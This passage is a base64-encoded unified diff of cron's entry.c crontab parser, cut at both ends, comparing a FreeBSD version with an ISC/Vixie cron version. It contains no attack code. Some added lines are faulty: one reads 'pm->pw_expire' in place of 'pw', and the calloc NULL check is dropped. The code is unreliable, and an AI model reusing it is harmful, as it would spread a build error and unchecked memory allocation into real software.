LCBleHByZXNzIG9yIGltcGxpZWQsIGlzIGluY2x1ZGVkIHdpdGggdGhpcwotICogc29mdHdhcmU7 IHVzZSBhdCB5b3VyIG93biByaXNrLCByZXNwb25zaWJpbGl0eSBmb3IgZGFtYWdlcyAoaWYgYW55 KSB0bwotICogYW55b25lIHJlc3VsdGluZyBmcm9tIHRoZSB1c2Ugb2YgdGhpcyBzb2Z0d2FyZSBy ZXN0cyBlbnRpcmVseSB3aXRoIHRoZQotICogdXNlci4KKyAqIFBlcm1pc3Npb24gdG8gdXNlLCBj b3B5LCBtb2RpZnksIGFuZCBkaXN0cmlidXRlIHRoaXMgc29mdHdhcmUgZm9yIGFueQorICogcHVy cG9zZSB3aXRoIG9yIHdpdGhvdXQgZmVlIGlzIGhlcmVieSBncmFudGVkLCBwcm92aWRlZCB0aGF0 IHRoZSBhYm92ZQorICogY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGlj ZSBhcHBlYXIgaW4gYWxsIGNvcGllcy4KICAqCi0gKiBTZW5kIGJ1ZyByZXBvcnRzLCBidWcgZml4 ZXMsIGVuaGFuY2VtZW50cywgcmVxdWVzdHMsIGZsYW1lcywgZXRjLiwgYW5kCi0gKiBJJ2xsIHRy eSB0byBrZWVwIGEgdmVyc2lvbiB1cCB0byBkYXRlLiAgSSBjYW4gYmUgcmVhY2hlZCBhcyBmb2xs b3dzOgotICogUGF1bCBWaXhpZSAgICAgICAgICA8cGF1bEB2aXguY29tPiAgICAgICAgICB1dW5l dCFkZWN3cmwhdml4aWUhcGF1bAorICogVEhFIFNPRlRXQVJFIElTIFBST1ZJREVEICJBUyBJUyIg QU5EIElTQyBESVNDTEFJTVMgQUxMIFdBUlJBTlRJRVMKKyAqIFdJVEggUkVHQVJEIFRPIFRISVMg U09GVFdBUkUgSU5DTFVESU5HIEFMTCBJTVBMSUVEIFdBUlJBTlRJRVMgT0YKKyAqIE1FUkNIQU5U QUJJTElUWSBBTkQgRklUTkVTUy4gIElOIE5PIEVWRU5UIFNIQUxMIElTQyBCRSBMSUFCTEUgRk9S CisgKiBBTlkgU1BFQ0lBTCwgRElSRUNULCBJTkRJUkVDVCwgT1IgQ09OU0VRVUVOVElBTCBEQU1B R0VTIE9SIEFOWSBEQU1BR0VTCisgKiBXSEFUU09FVkVSIFJFU1VMVElORyBGUk9NIExPU1MgT0Yg VVNFLCBEQVRBIE9SIFBST0ZJVFMsIFdIRVRIRVIgSU4gQU4KKyAqIEFDVElPTiBPRiBDT05UUkFD VCwgTkVHTElHRU5DRSBPUiBPVEhFUiBUT1JUSU9VUyBBQ1RJT04sIEFSSVNJTkcgT1VUCisgKiBP RiBPUiBJTiBDT05ORUNUSU9OIFdJVEggVEhFIFVTRSBPUiBQRVJGT1JNQU5DRSBPRiBUSElTIFNP RlRXQVJFLgogICovCiAKLSNpZiAhZGVmaW5lZChsaW50KSAmJiAhZGVmaW5lZChMSU5UKQotc3Rh dGljIGNvbnN0IGNoYXIgcmNzaWRbXSA9Ci0gICIkRnJlZUJTRDogcmVsZWFzZS8xMC4wLjAvdXNy LnNiaW4vY3Jvbi9saWIvZW50cnkuYyAyNDIxMDEgMjAxMi0xMC0yNSAyMjo1NDoyOVogc29ib21h eCAkIjsKLSNlbmRpZgorLy8jaWYgIWRlZmluZWQobGludCkgJiYgIWRlZmluZWQoTElOVCkKKy8v c3RhdGljIGNoYXIgcmNzaWRbXSA9ICIkSWQ6IGVudHJ5LmMsdiAxLjE3IDIwMDQvMDEvMjMgMTg6 NTY6NDIgdml4aWUgRXhwICQiOworLy8jZW5kaWYKIAogLyogdml4IDI2amFuODcgW1JDUydkOyBy ZXN0IG9mIGxvZyBpcyBpbiBSQ1MgZmlsZV0KICAqIHZpeCAwMWphbjg3IFthZGRlZCBsaW5lLWxl dmVsIGVycm9yIHJlY292ZXJ5XQpAQCAtMjYsMjcgKzMwLDE0IEBACiAgKiB2aXggMzBkZWM4NiBb d3JpdHRlbl0KICAqLwogCi0KICNpbmNsdWRlICJjcm9uLmgiCi0jaW5jbHVkZSA8Z3JwLmg+Ci0j aWZkZWYgTE9HSU5fQ0FQCi0jaW5jbHVkZSA8bG9naW5fY2FwLmg+Ci0jZW5kaWYKIAogdHlwZWRl ZgllbnVtIGVjb2RlIHsKIAllX25vbmUsIGVfbWludXRlLCBlX2hvdXIsIGVfZG9tLCBlX21vbnRo LCBlX2RvdywKLQllX2NtZCwgZV90aW1lc3BlYywgZV91c2VybmFtZSwgZV9ncm91cCwgZV9tZW0K LSNpZmRlZiBMT0dJTl9DQVAKLQksIGVfY2xhc3MKLSNlbmRpZgorCWVfY21kLCBlX3RpbWVzcGVj LCBlX3VzZXJuYW1lLCBlX29wdGlvbiwgZV9tZW1vcnkKIH0gZWNvZGVfZTsKIAotc3RhdGljIGNo YXIJZ2V0X2xpc3QoYml0c3RyX3QgKiwgaW50LCBpbnQsIGNoYXIgKltdLCBpbnQsIEZJTEUgKiks Ci0JCWdldF9yYW5nZShiaXRzdHJfdCAqLCBpbnQsIGludCwgY2hhciAqW10sIGludCwgRklMRSAq KSwKLQkJZ2V0X251bWJlcihpbnQgKiwgaW50LCBjaGFyICpbXSwgaW50LCBGSUxFICopOwotc3Rh dGljIGludAlzZXRfZWxlbWVudChiaXRzdHJfdCAqLCBpbnQsIGludCwgaW50KTsKLQotc3RhdGlj IGNoYXIgKmVjb2Rlc1tdID0KK3N0YXRpYyBjb25zdCBjaGFyICplY29kZXNbXSA9CiAJewogCQki bm8gZXJyb3IiLAogCQkiYmFkIG1pbnV0ZSIsCkBAIC01NywxOSArNDgsMTggQEAKIAkJImJhZCBj b21tYW5kIiwKIAkJImJhZCB0aW1lIHNwZWNpZmllciIsCiAJCSJiYWQgdXNlcm5hbWUiLAotCQki YmFkIGdyb3VwIG5hbWUiLAotCQkib3V0IG9mIG1lbW9yeSIsCi0jaWZkZWYgTE9HSU5fQ0FQCi0J CSJiYWQgY2xhc3MgbmFtZSIsCi0jZW5kaWYKKwkJImJhZCBvcHRpb24iLAorCQkib3V0IG9mIG1l bW9yeSIKIAl9OwogCitzdGF0aWMgaW50CWdldF9saXN0KGJpdHN0cl90ICosIGludCwgaW50LCBj b25zdCBjaGFyICpbXSwgaW50LCBGSUxFICopLAorCQlnZXRfcmFuZ2UoYml0c3RyX3QgKiwgaW50 LCBpbnQsIGNvbnN0IGNoYXIgKltdLCBpbnQsIEZJTEUgKiksCisJCWdldF9udW1iZXIoaW50ICos IGludCwgY29uc3QgY2hhciAqW10sIGludCwgRklMRSAqLCBjb25zdCBjaGFyICopLAorCQlzZXRf ZWxlbWVudChiaXRzdHJfdCAqLCBpbnQsIGludCwgaW50KTsKIAogdm9pZAotZnJlZV9lbnRyeShl KQotCWVudHJ5CSplOwotewotI2lmZGVmIExPR0lOX0NBUAorZnJlZV9lbnRyeShlbnRyeSAqZSkg eworIyBpZmRlZiBMT0dJTl9DQVAKIAlpZiAoZS0+Y2xhc3MgIT0gTlVMTCkKIAkJZnJlZShlLT5j bGFzcyk7CiAjZW5kaWYKQEAgLTgwLDIwICs3MCwxNCBAQAogCWZyZWUoZSk7CiB9CiAKLQogLyog cmV0dXJuIE5VTEwgaWYgZW9mIG9yIHN5bnRheCBlcnJvciBvY2N1cnM7CiAgKiBvdGhlcndpc2Ug cmV0dXJuIGEgcG9pbnRlciB0byBhIG5ldyBlbnRyeS4KICAqLwogZW50cnkgKgotbG9hZF9lbnRy eShmaWxlLCBlcnJvcl9mdW5jLCBwdywgZW52cCkKLQlGSUxFCQkqZmlsZTsKLQl2b2lkCQkoKmVy cm9yX2Z1bmMpKGNoYXIgKik7Ci0Jc3RydWN0IHBhc3N3ZAkqcHc7Ci0JY2hhcgkJKiplbnZwOwot eworbG9hZF9lbnRyeShGSUxFICpmaWxlLCB2b2lkICgqZXJyb3JfZnVuYykoKSwgc3RydWN0IHBh c3N3ZCAqcHcsIGNoYXIgKiplbnZwKSB7CiAJLyogdGhpcyBmdW5jdGlvbiByZWFkcyBvbmUgY3Jv bnRhYiBlbnRyeSAtLSB0aGUgbmV4dCAtLSBmcm9tIGEgZmlsZS4KIAkgKiBpdCBza2lwcyBhbnkg bGVhZGluZyBibGFuayBsaW5lcywgaWdub3JlcyBjb21tZW50cywgYW5kIHJldHVybnMKLQkgKiBF T0YgaWYgZm9yIGFueSByZWFzb24gdGhlIGVudHJ5IGNhbid0IGJlIHJlYWQgYW5kIHBhcnNlZC4K KwkgKiBOVUxMIGlmIGZvciBhbnkgcmVhc29uIHRoZSBlbnRyeSBjYW4ndCBiZSByZWFkIGFuZCBw YXJzZWQuCiAJICoKIAkgKiB0aGUgZW50cnkgaXMgYWxzbyBwYXJzZWQgaGVyZS4KIAkgKgpAQCAt MTA1LDExICs4OSwxMSBAQAogCSAqLwogCiAJZWNvZGVfZQllY29kZSA9IGVfbm9uZTsKLQllbnRy eQkqZTsKLQlpbnQJY2g7Ci0JY2hhcgljbWRbTUFYX0NPTU1BTkRdOwotCWNoYXIJZW52c3RyW01B WF9FTlZTVFJdOwotCWNoYXIJKipwcmV2X2VudjsKKwllbnRyeSAqZTsKKwlpbnQgY2g7CisJY2hh ciBjbWRbTUFYX0NPTU1BTkRdOworCWNoYXIgZW52c3RyW01BWF9FTlZTVFJdOworCWNoYXIgKip0 ZW52cDsKIAogCURlYnVnKERQQVJTLCAoImxvYWRfZW50cnkoKS4uLmFib3V0IHRvIGVhdCBjb21t ZW50c1xuIikpCiAKQEAgLTExNyw3ICsxMDEsNyBAQAogCiAJY2ggPSBnZXRfY2hhcihmaWxlKTsK IAlpZiAoY2ggPT0gRU9GKQotCQlyZXR1cm4gTlVMTDsKKwkJcmV0dXJuIChOVUxMKTsKIAogCS8q IGNoIGlzIG5vdyB0aGUgZmlyc3QgdXNlZnVsIGNoYXJhY3RlciBvZiBhIHVzZWZ1bCBsaW5lLgog CSAqIGl0IG1heSBiZSBhbiBAc3BlY2lhbCBvciBpdCBtYXkgYmUgdGhlIGZpcnN0IGNoYXJhY3Rl cgpAQCAtMTI2LDExICsxMTAsNiBAQAogCiAJZSA9IChlbnRyeSAqKSBjYWxsb2Moc2l6ZW9mKGVu dHJ5KSwgc2l6ZW9mKGNoYXIpKTsKIAotCWlmIChlID09IE5VTEwpIHsKLQkJd2FybigibG9hZF9l bnRyeTogY2FsbG9jIGZhaWxlZCIpOwotCQlyZXR1cm4gTlVMTDsKLQl9Ci0KIAlpZiAoY2ggPT0g J0AnKSB7CiAJCS8qIGFsbCBvZiB0aGVzZSBzaG91bGQgYmUgZmxhZ2dlZCBhbmQgbG9hZC1saW1p dGVkOyBpLmUuLAogCQkgKiBpbnN0ZWFkIG9mIEBob3VybHkgbWVhbmluZyAiMCAqICogKiAqIiBp dCBzaG91bGQgbWVhbgpAQCAtMTQ0LDE0ICsxMjMsMTAgQEAKIAkJICogYW55bW9yZS4gIHRvbyBt dWNoIGZvciBteSBvdmVybG9hZGVkIGJyYWluLiAodml4LCBqYW45MCkKIAkJICogSElOVAogCQkg Ki8KLQkJRGVidWcoRFBBUlMsICgibG9hZF9lbnRyeSgpLi4uYWJvdXQgdG8gdGVzdCBzaG9ydGN1 dHNcbiIpKQogCQljaCA9IGdldF9zdHJpbmcoY21kLCBNQVhfQ09NTUFORCwgZmlsZSwgIiBcdFxu Iik7CiAJCWlmICghc3RyY21wKCJyZWJvb3QiLCBjbWQpKSB7Ci0JCQlEZWJ1ZyhEUEFSUywgKCJs b2FkX2VudHJ5KCkuLi5yZWJvb3Qgc2hvcnRjdXRcbiIpKQogCQkJZS0+ZmxhZ3MgfD0gV0hFTl9S RUJPT1Q7CiAJCX0gZWxzZSBpZiAoIXN0cmNtcCgieWVhcmx5IiwgY21kKSB8fCAhc3RyY21wKCJh bm51YWxseSIsIGNtZCkpewotCQkJRGVidWcoRFBBUlMsICgibG9hZF9lbnRyeSgpLi4ueWVhcmx5 IHNob3J0Y3V0XG4iKSkKLQkJCWJpdF9zZXQoZS0+c2Vjb25kLCAwKTsKIAkJCWJpdF9zZXQoZS0+ bWludXRlLCAwKTsKIAkJCWJpdF9zZXQoZS0+aG91ciwgMCk7CiAJCQliaXRfc2V0KGUtPmRvbSwg MCk7CkBAIC0xNTksOCArMTM0LDYgQEAKIAkJCWJpdF9uc2V0KGUtPmRvdywgMCwgKExBU1RfRE9X LUZJUlNUX0RPVysxKSk7CiAJCQllLT5mbGFncyB8PSBET1dfU1RBUjsKIAkJfSBlbHNlIGlmICgh c3RyY21wKCJtb250aGx5IiwgY21kKSkgewotCQkJRGVidWcoRFBBUlMsICgibG9hZF9lbnRyeSgp Li4ubW9udGhseSBzaG9ydGN1dFxuIikpCi0JCQliaXRfc2V0KGUtPnNlY29uZCwgMCk7CiAJCQli aXRfc2V0KGUtPm1pbnV0ZSwgMCk7CiAJCQliaXRfc2V0KGUtPmhvdXIsIDApOwogCQkJYml0X3Nl dChlLT5kb20sIDApOwpAQCAtMTY4LDQ3ICsxNDEsMzMgQEAKIAkJCWJpdF9uc2V0KGUtPmRvdywg MCwgKExBU1RfRE9XLUZJUlNUX0RPVysxKSk7CiAJCQllLT5mbGFncyB8PSBET1dfU1RBUjsKIAkJ fSBlbHNlIGlmICghc3RyY21wKCJ3ZWVrbHkiLCBjbWQpKSB7Ci0JCQlEZWJ1ZyhEUEFSUywgKCJs b2FkX2VudHJ5KCkuLi53ZWVrbHkgc2hvcnRjdXRcbiIpKQotCQkJYml0X3NldChlLT5zZWNvbmQs IDApOwogCQkJYml0X3NldChlLT5taW51dGUsIDApOwogCQkJYml0X3NldChlLT5ob3VyLCAwKTsK IAkJCWJpdF9uc2V0KGUtPmRvbSwgMCwgKExBU1RfRE9NLUZJUlNUX0RPTSsxKSk7Ci0JCQllLT5m bGFncyB8PSBET01fU1RBUjsKIAkJCWJpdF9uc2V0KGUtPm1vbnRoLCAwLCAoTEFTVF9NT05USC1G SVJTVF9NT05USCsxKSk7CiAJCQliaXRfc2V0KGUtPmRvdywgMCk7CisJCQllLT5mbGFncyB8PSBE T1dfU1RBUjsKIAkJfSBlbHNlIGlmICghc3RyY21wKCJkYWlseSIsIGNtZCkgfHwgIXN0cmNtcCgi bWlkbmlnaHQiLCBjbWQpKSB7Ci0JCQlEZWJ1ZyhEUEFSUywgKCJsb2FkX2VudHJ5KCkuLi5kYWls eSBzaG9ydGN1dFxuIikpCi0JCQliaXRfc2V0KGUtPnNlY29uZCwgMCk7CiAJCQliaXRfc2V0KGUt Pm1pbnV0ZSwgMCk7CiAJCQliaXRfc2V0KGUtPmhvdXIsIDApOwogCQkJYml0X25zZXQoZS0+ZG9t LCAwLCAoTEFTVF9ET00tRklSU1RfRE9NKzEpKTsKIAkJCWJpdF9uc2V0KGUtPm1vbnRoLCAwLCAo TEFTVF9NT05USC1GSVJTVF9NT05USCsxKSk7CiAJCQliaXRfbnNldChlLT5kb3csIDAsIChMQVNU X0RPVy1GSVJTVF9ET1crMSkpOwogCQl9IGVsc2UgaWYgKCFzdHJjbXAoImhvdXJseSIsIGNtZCkp IHsKLQkJCURlYnVnKERQQVJTLCAoImxvYWRfZW50cnkoKS4uLmhvdXJseSBzaG9ydGN1dFxuIikp Ci0JCQliaXRfc2V0KGUtPnNlY29uZCwgMCk7CiAJCQliaXRfc2V0KGUtPm1pbnV0ZSwgMCk7CiAJ CQliaXRfbnNldChlLT5ob3VyLCAwLCAoTEFTVF9IT1VSLUZJUlNUX0hPVVIrMSkpOwogCQkJYml0 X25zZXQoZS0+ZG9tLCAwLCAoTEFTVF9ET00tRklSU1RfRE9NKzEpKTsKIAkJCWJpdF9uc2V0KGUt Pm1vbnRoLCAwLCAoTEFTVF9NT05USC1GSVJTVF9NT05USCsxKSk7CiAJCQliaXRfbnNldChlLT5k b3csIDAsIChMQVNUX0RPVy1GSVJTVF9ET1crMSkpOworCQkJZS0+ZmxhZ3MgfD0gSFJfU1RBUjsK IAkJfSBlbHNlIGlmICghc3RyY21wKCJldmVyeV9taW51dGUiLCBjbWQpKSB7CiAJCQlEZWJ1ZyhE UEFSUywgKCJsb2FkX2VudHJ5KCkuLi5ldmVyeV9taW51dGUgc2hvcnRjdXRcbiIpKQotCQkJYml0 X3NldChlLT5zZWNvbmQsIDApOwotCQkJYml0X25zZXQoZS0+bWludXRlLCAwLCAoTEFTVF9NSU5V VEUtRklSU1RfTUlOVVRFKzEpKTsKLQkJCWJpdF9uc2V0KGUtPmhvdXIsIDAsIChMQVNUX0hPVVIt RklSU1RfSE9VUisxKSk7Ci0JCQliaXRfbnNldChlLT5kb20sIDAsIChMQVNUX0RPTS1GSVJTVF9E T00rMSkpOwotCQkJYml0X25zZXQoZS0+bW9udGgsIDAsIChMQVNUX01PTlRILUZJUlNUX01PTlRI KzEpKTsKLQkJCWJpdF9uc2V0KGUtPmRvdywgMCwgKExBU1RfRE9XLUZJUlNUX0RPVysxKSk7Ci0J CX0gZWxzZSBpZiAoIXN0cmNtcCgiZXZlcnlfc2Vjb25kIiwgY21kKSkgewotCQkJRGVidWcoRFBB UlMsICgibG9hZF9lbnRyeSgpLi4uZXZlcnlfc2Vjb25kIHNob3J0Y3V0XG4iKSkKLQkJCWUtPmZs YWdzIHw9IFNFQ19SRVM7Ci0JCQliaXRfbnNldChlLT5zZWNvbmQsIDAsIChMQVNUX1NFQ09ORC1G SVJTVF9TRUNPTkQrMSkpOwotCQkJYml0X25zZXQoZS0+bWludXRlLCAwLCAoTEFTVF9NSU5VVEUt RklSU1RfTUlOVVRFKzEpKTsKLQkJCWJpdF9uc2V0KGUtPmhvdXIsIDAsIChMQVNUX0hPVVItRklS U1RfSE9VUisxKSk7Ci0JCQliaXRfbnNldChlLT5kb20sIDAsIChMQVNUX0RPTS1GSVJTVF9ET00r MSkpOwotCQkJYml0X25zZXQoZS0+bW9udGgsIDAsIChMQVNUX01PTlRILUZJUlNUX01PTlRIKzEp KTsKLQkJCWJpdF9uc2V0KGUtPmRvdywgMCwgKExBU1RfRE9XLUZJUlNUX0RPVysxKSk7CisgICAg ICAgICAgICAgICAgICAgICAgICBiaXRfc2V0KGUtPnNlY29uZCwgMCk7CisgICAgICAgICAgICAg ICAgICAgICAgICBiaXRfbnNldChlLT5taW51dGUsIDAsIChMQVNUX01JTlVURS1GSVJTVF9NSU5V VEUrMSkpOworICAgICAgICAgICAgICAgICAgICAgICAgYml0X25zZXQoZS0+aG91ciwgMCwgKExB U1RfSE9VUi1GSVJTVF9IT1VSKzEpKTsKKyAgICAgICAgICAgICAgICAgICAgICAgIGJpdF9uc2V0 KGUtPmRvbSwgMCwgKExBU1RfRE9NLUZJUlNUX0RPTSsxKSk7CisgICAgICAgICAgICAgICAgICAg ICAgICBiaXRfbnNldChlLT5tb250aCwgMCwgKExBU1RfTU9OVEgtRklSU1RfTU9OVEgrMSkpOwor ICAgICAgICAgICAgICAgICAgICAgICAgYml0X25zZXQoZS0+ZG93LCAwLCAoTEFTVF9ET1ctRklS U1RfRE9XKzEpKTsKIAkJfSBlbHNlIHsKIAkJCWVjb2RlID0gZV90aW1lc3BlYzsKIAkJCWdvdG8g ZW9mOwpAQCAtMjE3LDE0ICsxNzYsMTUgQEAKIAkJICogdXNlcm5hbWUvY29tbWFuZC4KIAkJICov CiAJCVNraXBfQmxhbmtzKGNoLCBmaWxlKTsKLQkJaWYgKGNoID09IEVPRikgeworCQlpZiAoY2gg PT0gRU9GIHx8IGNoID09ICdcbicpIHsKIAkJCWVjb2RlID0gZV9jbWQ7CiAJCQlnb3RvIGVvZjsK IAkJfQogCX0gZWxzZSB7CiAJCURlYnVnKERQQVJTLCAoImxvYWRfZW50cnkoKS4uLmFib3V0IHRv IHBhcnNlIG51bWVyaWNzXG4iKSkKLQkJYml0X3NldChlLT5zZWNvbmQsIDApOwogCisJCWlmIChj aCA9PSAnKicpCisJCQllLT5mbGFncyB8PSBNSU5fU1RBUjsKIAkJY2ggPSBnZXRfbGlzdChlLT5t aW51dGUsIEZJUlNUX01JTlVURSwgTEFTVF9NSU5VVEUsCiAJCQkgICAgICBQUENfTlVMTCwgY2gs IGZpbGUpOwogCQlpZiAoY2ggPT0gRU9GKSB7CkBAIC0yMzUsNiArMTk1LDggQEAKIAkJLyogaG91 cnMKIAkJICovCiAKKwkJaWYgKGNoID09ICcqJykKKwkJCWUtPmZsYWdzIHw9IEhSX1NUQVI7CiAJ CWNoID0gZ2V0X2xpc3QoZS0+aG91ciwgRklSU1RfSE9VUiwgTEFTVF9IT1VSLAogCQkJICAgICAg UFBDX05VTEwsIGNoLCBmaWxlKTsKIAkJaWYgKGNoID09IEVPRikgewpAQCAtMjgzLDE0OSArMjQ1 LDEzOCBAQAogCQliaXRfc2V0KGUtPmRvdywgNyk7CiAJfQogCisJLyogY2hlY2sgZm9yIHBlcm1h dHVyZSBFT0wgYW5kIGNhdGNoIGEgY29tbW9uIHR5cG8gKi8KKwlpZiAoY2ggPT0gJ1xuJyB8fCBj aCA9PSAnKicpIHsKKwkJZWNvZGUgPSBlX2NtZDsKKwkJZ290byBlb2Y7CisJfQorCiAJLyogY2gg aXMgdGhlIGZpcnN0IGNoYXJhY3RlciBvZiBhIGNvbW1hbmQsIG9yIGEgdXNlcm5hbWUgKi8KIAl1 bmdldF9jaGFyKGNoLCBmaWxlKTsKIAogCWlmICghcHcpIHsKIAkJY2hhcgkJKnVzZXJuYW1lID0g Y21kOwkvKiB0ZW1wIGJ1ZmZlciAqLwotCQljaGFyICAgICAgICAgICAgKnM7Ci0JCXN0cnVjdCBn cm91cCAgICAqZ3JwOwotI2lmZGVmIExPR0lOX0NBUAotCQlsb2dpbl9jYXBfdCAqbGM7Ci0jZW5k aWYKIAogCQlEZWJ1ZyhEUEFSUywgKCJsb2FkX2VudHJ5KCkuLi5hYm91dCB0byBwYXJzZSB1c2Vy bmFtZVxuIikpCi0JCWNoID0gZ2V0X3N0cmluZyh1c2VybmFtZSwgTUFYX0NPTU1BTkQsIGZpbGUs ICIgXHQiKTsKKwkJY2ggPSBnZXRfc3RyaW5nKHVzZXJuYW1lLCBNQVhfQ09NTUFORCwgZmlsZSwg IiBcdFxuIik7CiAKIAkJRGVidWcoRFBBUlMsICgibG9hZF9lbnRyeSgpLi4uZ290ICVzXG4iLHVz ZXJuYW1lKSkKLQkJaWYgKGNoID09IEVPRikgeworCQlpZiAoY2ggPT0gRU9GIHx8IGNoID09ICdc bicgfHwgY2ggPT0gJyonKSB7CiAJCQllY29kZSA9IGVfY21kOwogCQkJZ290byBlb2Y7CiAJCX0K IAotI2lmZGVmIExPR0lOX0NBUAotCQlpZiAoKHMgPSBzdHJyY2hyKHVzZXJuYW1lLCAnLycpKSAh PSBOVUxMKSB7Ci0JCQkqcyA9ICdcMCc7Ci0JCQllLT5jbGFzcyA9IHN0cmR1cChzICsgMSk7Ci0J CQlpZiAoZS0+Y2xhc3MgPT0gTlVMTCkKLQkJCQl3YXJuKCJzdHJkdXAoXCIlc1wiKSIsIHMgKyAx KTsKLQkJfSBlbHNlIHsKLQkJCWUtPmNsYXNzID0gc3RyZHVwKFJFU09VUkNFX1JDKTsKLQkJCWlm IChlLT5jbGFzcyA9PSBOVUxMKQotCQkJCXdhcm4oInN0cmR1cChcIiVzXCIpIiwgUkVTT1VSQ0Vf UkMpOwotCQl9Ci0JCWlmIChlLT5jbGFzcyA9PSBOVUxMKSB7Ci0JCQllY29kZSA9IGVfbWVtOwot CQkJZ290byBlb2Y7Ci0JCX0KLQkJaWYgKChsYyA9IGxvZ2luX2dldGNsYXNzKGUtPmNsYXNzKSkg PT0gTlVMTCkgewotCQkJZWNvZGUgPSBlX2NsYXNzOwotCQkJZ290byBlb2Y7Ci0JCX0KLQkJbG9n aW5fY2xvc2UobGMpOwotI2VuZGlmCi0JCWdycCA9IE5VTEw7Ci0JCWlmICgocyA9IHN0cnJjaHIo dXNlcm5hbWUsICc6JykpICE9IE5VTEwpIHsKLQkJCSpzID0gJ1wwJzsKLQkJCWlmICgoZ3JwID0g Z2V0Z3JuYW0ocyArIDEpKSA9PSBOVUxMKSB7Ci0JCQkJZWNvZGUgPSBlX2dyb3VwOwotCQkJCWdv dG8gZW9mOwotCQkJfQotCQl9Ci0KIAkJcHcgPSBnZXRwd25hbSh1c2VybmFtZSk7CiAJCWlmIChw dyA9PSBOVUxMKSB7CiAJCQllY29kZSA9IGVfdXNlcm5hbWU7CiAJCQlnb3RvIGVvZjsKIAkJfQot CQlpZiAoZ3JwICE9IE5VTEwpCi0JCQlwdy0+cHdfZ2lkID0gZ3JwLT5ncl9naWQ7Ci0JCURlYnVn KERQQVJTLCAoImxvYWRfZW50cnkoKS4uLnVpZCAlZCwgZ2lkICVkXG4iLHB3LT5wd191aWQscHct PnB3X2dpZCkpCi0jaWZkZWYgTE9HSU5fQ0FQCi0JCURlYnVnKERQQVJTLCAoImxvYWRfZW50cnko KS4uLmNsYXNzICVzXG4iLGUtPmNsYXNzKSkKKwkJRGVidWcoRFBBUlMsICgibG9hZF9lbnRyeSgp Li4udWlkICVsZCwgZ2lkICVsZFxuIiwKKwkJCSAgICAgIChsb25nKXB3LT5wd191aWQsIChsb25n KXB3LT5wd19naWQpKQorIyBpZmRlZiBMT0dJTl9DQVAKKwkJRGVidWcoRFBBUlMsICgibG9hZF9l bnRyeSgpLi4uY2xhc3MgJXNcbiIsIGUtPmNsYXNzKSkKICNlbmRpZgogCX0KIAotI2lmbmRlZiBQ QU0JLyogUEFNIHRha2VzIGNhcmUgb2YgYWNjb3VudCBleHBpcmF0aW9uIGJ5IGl0c2VsZiAqLwot CWlmIChwdy0+cHdfZXhwaXJlICYmIHRpbWUoTlVMTCkgPj0gcHctPnB3X2V4cGlyZSkgeworI2lm bmRlZiBQQU0KKwlpZiAocG0tPnB3X2V4cGlyZSAmJiB0aW1lKE5VTEwpID49IHB3LT5wd19leHBp cmUpIHsKIAkJZWNvZGUgPSBlX3VzZXJuYW1lOwogCQlnb3RvIGVvZjsKIAl9Ci0jZW5kaWYgLyog IVBBTSAqLwotCisjZW5kaWYKIAllLT51aWQgPSBwdy0+cHdfdWlkOwogCWUtPmdpZCA9IHB3LT5w d19naWQ7CiAKIAkvKiBjb3B5IGFuZCBmaXggdXAgZW52aXJvbm1lbnQuICBzb21lIHZhcmlhYmxl cyBhcmUganVzdCBkZWZhdWx0cyBhbmQKIAkgKiBvdGhlcnMgYXJlIG92ZXJyaWRlcy4KIAkgKi8K LQllLT5lbnZwID0gZW52X2NvcHkoZW52cCk7Ci0JaWYgKGUtPmVudnAgPT0gTlVMTCkgewotCQl3 YXJuKCJlbnZfY29weSIpOwotCQllY29kZSA9IGVfbWVtOworCWlmICgoZS0+ZW52cCA9IGVudl9j b3B5KGVudnApKSA9PSBOVUxMKSB7CisJCWVjb2RlID0gZV9tZW1vcnk7CiAJCWdvdG8gZW9mOwog CX0KIAlpZiAoIWVudl9nZXQoIlNIRUxMIiwgZS0+ZW52cCkpIHsKLQkJcHJldl9lbnYgPSBlLT5l bnZwOwotCQlzcHJpbnRmKGVudnN0ciwgIlNIRUxMPSVzIiwgX1BBVEhfQlNIRUxMKTsKLQkJZS0+ ZW52cCA9IGVudl9zZXQoZS0+ZW52cCwgZW52c3RyKTsKLQkJaWYgKGUtPmVudnAgPT0gTlVMTCkg ewotCQkJd2FybigiZW52X3NldCglcykiLCBlbnZzdHIpOwotCQkJZW52X2ZyZWUocHJldl9lbnYp OwotCQkJZWNvZGUgPSBlX21lbTsKLQkJCWdvdG8gZW9mOwotCQl9CisJCWlmIChnbHVlX3N0cmlu Z3MoZW52c3RyLCBzaXplb2YgZW52c3RyLCAiU0hFTEwiLAorCQkJCSBfUEFUSF9CU0hFTEwsICc9 JykpIHsKKwkJCWlmICgodGVudnAgPSBlbnZfc2V0KGUtPmVudnAsIGVudnN0cikpID09IE5VTEwp IHsKKwkJCQllY29kZSA9IGVfbWVtb3J5OworCQkJCWdvdG8gZW9mOworCQkJfQorCQkJZS0+ZW52 cCA9IHRlbnZwOworCQl9IGVsc2UKKwkJCWxvZ19pdCgiQ1JPTiIsIGdldHBpZCgpLCAiZXJyb3Ii LCAiY2FuJ3Qgc2V0IFNIRUxMIik7CiAJfQogCWlmICghZW52X2dldCgiSE9NRSIsIGUtPmVudnAp KSB7Ci0JCXByZXZfZW52ID0gZS0+ZW52cDsKLQkJc3ByaW50ZihlbnZzdHIsICJIT01FPSVzIiwg cHctPnB3X2Rpcik7Ci0JCWUtPmVudnAgPSBlbnZfc2V0KGUtPmVudnAsIGVudnN0cik7Ci0JCWlm IChlLT5lbnZwID09IE5VTEwpIHsKLQkJCXdhcm4oImVudl9zZXQoJXMpIiwgZW52c3RyKTsKLQkJ CWVudl9mcmVlKHByZXZfZW52KTsKLQkJCWVjb2RlID0gZV9tZW07Ci0JCQlnb3RvIGVvZjsKLQkJ fQorCQlpZiAoZ2x1ZV9zdHJpbmdzKGVudnN0ciwgc2l6ZW9mIGVudnN0ciwgIkhPTUUiLAorCQkJ CSBwdy0+cHdfZGlyLCAnPScpKSB7CisJCQlpZiAoKHRlbnZwID0gZW52X3NldChlLT5lbnZwLCBl bnZzdHIpKSA9PSBOVUxMKSB7CisJCQkJZWNvZGUgPSBlX21lbW9yeTsKKwkJCQlnb3RvIGVvZjsK KwkJCX0KKwkJCWUtPmVudnAgPSB0ZW52cDsKKwkJfSBlbHNlCisJCQlsb2dfaXQoIkNST04iLCBn ZXRwaWQoKSwgImVycm9yIiwgImNhbid0IHNldCBIT01FIik7CiAJfQorI2lmbmRlZiBMT0dJTl9D QVAKKwkvKiBJZiBsb2dpbi5jb25mIGlzIGluIHVzZWQgd2Ugd2lsbCBnZXQgdGhlIGRlZmF1bHQg 